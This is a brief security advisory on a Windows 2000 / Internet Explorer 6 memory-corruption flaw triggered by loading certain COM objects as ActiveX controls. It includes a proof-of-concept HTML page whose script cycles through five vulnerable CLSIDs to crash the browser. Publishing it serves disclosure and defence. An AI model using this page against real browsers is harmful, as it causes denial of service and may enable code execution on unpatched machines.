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Windows 2000 Multiple COM Object Instantiation Vulnerability
------------------------------------------------------------------------
SUMMARY
Multiple vulnerability has been found in Windows 2000, when Internet
Explorer tries to instantiate the ciodm.dll, MyInfo.dll, msdxm.ocx,
Creator.dll (Media player 9) COM object as an ActiveX control, it may
corrupt system memory in such a way that an attacker may DoS and possibly
could execute arbitrary code.
DETAILS
Vulnerable Systems:
* Windows 2000 with Internet Explorer 6.0 SP1
Exploit:
<!--
// Windows 2000 Multiple COM Object Instantiation Vulnerability
// tested on Windows 2000 SP4 CN
// http://www.xsec.org
// nop (nop#xsec.org)
--!>
<html>
<head>
<title>COM-tester</title>
</head>
</body>
<script>
var i =0;
var clsid = new Array(
// NO: 1
// CLSID: {3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}
// Info: Microsoft Index Server Catalog Administration Object
// ProgID: Microsoft.ISCatAdm.1
// InprocServer32: C:\WINNT\system32\ciodm.dll
"{3BC4F3A3-652A-11D1-B4D4-00C04FC2DB8D}",
// NO: 2
// CLSID: {4682C82A-B2FF-11D0-95A8-00A0C92B77A9}
// Info: MyInfo ASP Component// ProgID: MSWC.MyInfo.1
// InprocServer32: C:\WINNT\system32\inetsrv\MyInfo.dll
"{4682C82A-B2FF-11D0-95A8-00A0C92B77A9}",
// NO: 3
// CLSID: {8E71888A-423F-11D2-876E-00A0C9082467}
// Info: RadioServer Class
// ProgID: Mmedia.RadioServer.1
// InprocServer32: C:\WINNT\system32\msdxm.ocx
"{8E71888A-423F-11D2-876E-00A0C9082467}",
// NO: 4 media player?
// CLSID: {606EF130-9852-11D3-97C6-0060084856D4}
// Info: CdCreator Class// ProgID: Creator.CdCreator.1
// InprocServer32: C:\Program Files\Common Files\Adaptec
Shared\CreatorAPI\creator.dll
"{606EF130-9852-11D3-97C6-0060084856D4}",
// NO: 5 media player?
// CLSID: {F849164D-9863-11D3-97C6-0060084856D4}
// Info: CdDevice Class// ProgID: Creator.CdDevice.1
// InprocServer32: C:\Program Files\Common Files\Adaptec
Shared\CreatorAPI\creator.dll
"{F849164D-9863-11D3-97C6-0060084856D4}",
// END
null
);
while(clsid[i])
{
var a = document.createElement("object");
window.status = "Testing Object " + clsid[i] + "...";
a.setAttribute("classid", "clsid:" + clsid[i]);
i++;
}
window.status = "failed!";
</script>
</body>
</html>
ADDITIONAL INFORMATION
The information has been provided by <mailto:nop@xsec.org> nop.
The original article can be found at:
<http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=16>
http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=16
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